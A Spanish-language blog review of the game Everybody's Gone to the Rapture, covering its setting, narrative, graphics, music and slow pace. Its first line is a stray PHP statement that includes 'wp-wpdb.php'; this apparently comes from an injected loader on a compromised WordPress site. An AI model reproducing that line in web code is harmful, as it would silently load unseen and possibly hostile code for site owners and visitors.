if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Everybody’s Gone to the Rapture – La Fortaleza de LeChuck

Análisis Everybody’s Gone to the Rapture

Cuando dije que en verano llegarían títulos interesantes no me refería solo a Until Dawn, y es que The Chinese Room, después de su Dear Esther, nos sorprendía con Everybody’s Gone to the Rapture, otro de esos juegos que podríamos etiquetar como «juegos de paseos en primera persona» donde la exploración y los detallados paisajes tienen su papel más destacado. Nos encontramos en un pueblo del interior de Reino Unido, solos, dispuestos a descubrir la extraña desaparición de los habitantes y los sucesos paranormales que se suceden en la zona.

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Everybody’s Gone to the Rapture nos sitúa en lo más profundo de la campiña de Shropshire, concretamente en el pueblo de Yaughton, un pintoresco lugar con ranchos, casas unifamiliares de dos plantas, un observatorio y naturaleza. Sin embargo, el pueblo está desierto, todo indica que los vecinos cogieron a toda prisa sus pertenencias y desaparecieron. Solo quedan los restos de los efectos personales, extrañas manchas de sangre y folletos que hablan de una cuarentena en la zona. Mientras caminamos por el lugar, una extraña luz brillante nos marca el camino y nos muestra fragmentos de diálogos de los vecinos a modo de flashbacks, y las radios y teléfonos relatan los últimos días antes de la desaparición.

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Everybody’s Gone to the Rapture nos ofrece un mundo abierto y una narración no lineal. Partimos desde el observatorio y a partir de ahí podremos decidir qué camino tomar. En nuestro avance por las inmediaciones de Yaughton, se irán desbloqueando los episodios que llevarán por título el nombre de los personajes envueltos en la trama, es decir, que cada zona del pueblo está centrada en un individuo y los fragmentos de diálogo giran en torno a sus últimos días. Una fulminante oscuridad y un camino lleno de pequeños destellos nos indicarán el final del episodio y el camino que debemos tomar para el siguiente. Si deseamos seguir el orden establecido por el juego tan solo tenemos que seguir ese extraño orbe de luz que nos guía.

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El área jugable del juego es enorme y comprende Yaughton y sus alrededores. Allí tenemos granjas, bosques, un camping y la zona de viviendas. Es absolutamente precioso y brillante como está diseñado todo el territorio y la forma que te empuja a querer explorar más y más. Los exploradores con pésimo sentido de la orientación como yo, cuentan con mapas turístico repartido por toda la región que te ubica con un «You are here» y además muestra los lugares de interés y las carreteras principales y senderos. Aventurarse por las rutas y descubrir los parajes y casas aisladas es una sensación fantástica y frecuentemente premiada con nuevos fragmentos de las vidas de los personajes.

A las casas no les hace falta de nada, tienen la decoración y el diseño de muchas de esas casitas tradicionales que frecuentemente vemos en las películas y están completamente equipadas. Es una lástima que apenas se pueda interactuar con objetos más allá de los dispuestos para la trama pero aún así encontraremos detalles con los que pararse a observar: horarios de las actividades en el camping, las anotaciones por las extrañas desapariciones u observar aquello que relatan las secuencias en las casas de los vecinos.

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Everybody’s Gone to the Rapture muestra una catástrofe desde el lado más humano. Los fenómenos paranormales están ahí, pero han sido brillantemente relegados a un segundo plano en favor de los encuentros más personales y lo que sucedió días antes del incidente. Cada diálogo sirve como contexto para los demás, y el conjunto es un rico y desgarrador retrato de una comunidad en situación de crisis. La narración está desordenada entre cientos de voces que escuchamos en los mensajes de grabaciones, teléfonos y diálogos, y no siempre se relacionan directamente con el misterio (en ocasiones parece que estemos viendo un episodio de Puente Viejo), pero eso hace del título algo tan especial, creando una imagen detallada de toda una comunidad invisible para el ojo del jugador. No obstante, el juego ofrece al jugador una libre interpretación de todo lo vivido con secretos que dan para teorizar.

Gráficamente Everybody’s Gone to the Rapture es fascinante, cada rincón de Yaughton ha sido trabajado y realmente parece que el jugador esté de turismo por un pueblo abandonado. Hay que destacar el trabajo de luces y sombras a lo largo del transcurso de la jornada, me encantó cuando las nubes pasan por encima y todo se muestra sombrío, y el momento en que los rayos de luz traspasan las ventanas y los reflejos que provocan en los cuadros y otras superficies. Por la noche, las siluetas de los árboles contra el cielo estrellado son igualmente increíbles. También me encantó la atmósfera que toman los lugares después de presenciar un recuerdo, ese aura tan extraña y mística que se establece. En definitiva, es un juego que se siente muy vivo.

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No puedo obviar el apartado sonoro, el cual realza la narrativa de forma extraordinaria. Los temas desgarradores que suenan en cada historia son producto de Jessica Curry, directora y compositora de The Chinese Room, que ha creado esta melancólica y desgarradora mezcla de música clásica y vocal que pone los pelos como escarpias. Jessica vuelve a ofrecernos una delicia para nuestros oídos después de Dear Esther. En cuanto al doblaje, los actores de voz interpretan de manera notable sus papeles dotando de personalidad propia a los personajes. Los diálogos fluyen de forma natural y se adaptan a cada situación no visible. El juego ha sido doblado a nuestro idioma pero sin duda la versión original es la mejor con diferencia.

Si tengo que decir algo negativo de Everybody’s Gone to the Rapture sería la lentitud de nuestro personaje. El juego obliga (literalmente) al jugador a seguir un ritmo pausado para así sumergirlo en la atmósfera y la trama. Manteniendo el gatillo derecho, a veces, nuestro personaje caminaba un pelín más rápido, aunque puede que fuera producto de mi imaginación y desesperación. En ocasiones este ritmo funcionaba, sobre todo en las partes en las que caía la noche, pero otras veces me tiraba de los pelos intentando llegar al final de la carretera. Es cierto que correr en este juego no tendría sentido pero para gente como yo que intentamos no dejarnos rincón sin explorar puede acabar desesperando.

The Chinese Room ha conseguido con Everybody’s Gone to the Rapture sumergirnos en las impactantes historias de una comunidad a través de luminarias que reconstruyen los acontecimientos y recuerdos de antes del apocalipsis. Con un mundo extenso y detallado, y una banda sonora sublime, estamos ante una experiencia cautivadora y melancólica para PS4.

 

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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